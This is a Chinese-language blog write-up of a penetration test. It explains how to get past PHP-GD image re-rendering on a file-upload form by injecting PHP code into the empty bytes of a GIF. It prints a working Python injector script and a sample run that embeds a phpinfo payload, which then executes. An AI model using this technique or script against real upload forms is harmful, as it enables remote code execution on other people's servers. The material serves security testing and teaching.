0x0前言
上传过程中发现任意文件上传,但是会校验数据内容
尝试上传正常图片,发现头部被添加了gd-jpeg v1.0,判断使用了PHP-GD库
百度了一下,发现PHP-GD库不仅会对图片内容进行检测,通过imagecreatefromjpeg()函数进行转换,还会删除exif里的元数据
0x1过程
我尝试使用T00ls上说的jpg_payload.php把php代码注入到图像的exif标头中
php gd.php image.jpg image-gd.jpg
可以看到代码确实被注入到了图像中
脚本通过判断被添加gd-jpeg v1.0头部和原图像中相同的地方,通过十六进制匹配相同的值,找到这个值后,转换php代码为十六进制,注入到匹配值里
可惜,在我的环境里,发现被注入的图像还是会被二次渲染
0x3方法
经过测试,发现原来是图片里面的特殊字符渲染后被转换成php可执行字符
测试发现图像转换成gif特殊字符变少很多,用windows自带的画图工具画一张空白的图像,就不会有多余的特殊字符
0x3脚本注入
保存图像后通过python脚本注入php代码
#!/usr/bin/python import sys import binascii def main(): if len(sys.argv) != 4: print("USAGE: <gd-gif> <payload> <output_name>") sys.exit() gif = sys.argv[1] payload = sys.argv[2] output = sys.argv[3] payload_len = len(payload) loc = get_loc(gif, payload_len) inject_payload(gif, loc, payload, output) def get_loc(gif,payload_len): empty_space = payload_len*'00' print("Searching for %s bytes empty space") % (payload_len) f = open(gif, 'rb') contents = f.read() loc = contents.find(binascii.unhexlify(empty_space)) f.close() if loc != -1: print("Found empty space.") return loc else: print("Can't found enough empty space, try other .gif image. Exiting.") sys.exit() def inject_payload(gif, loc, payload, output): bin_payload = bin(int(binascii.hexlify(payload),16)) f = open(gif, 'rb') fo = open(output, 'wb') print("Injecting payload...") contents = f.read() pre_payload = contents[:loc] post_payload = contents[loc + len(payload):] fo.write(pre_payload + payload + post_payload + '\n') print("Payload written.") f.close() fo.close() if __name__ == "__main__": main()
python gd-gif.py 1.gif '<?php phpinfo()?>' 2.gif
正常执行
参考链接
https://nosec.org/home/detail/4369.html
https://secgeek.net/bookfresh-vulnerability/
本文作者为白色键盘,转载请注明。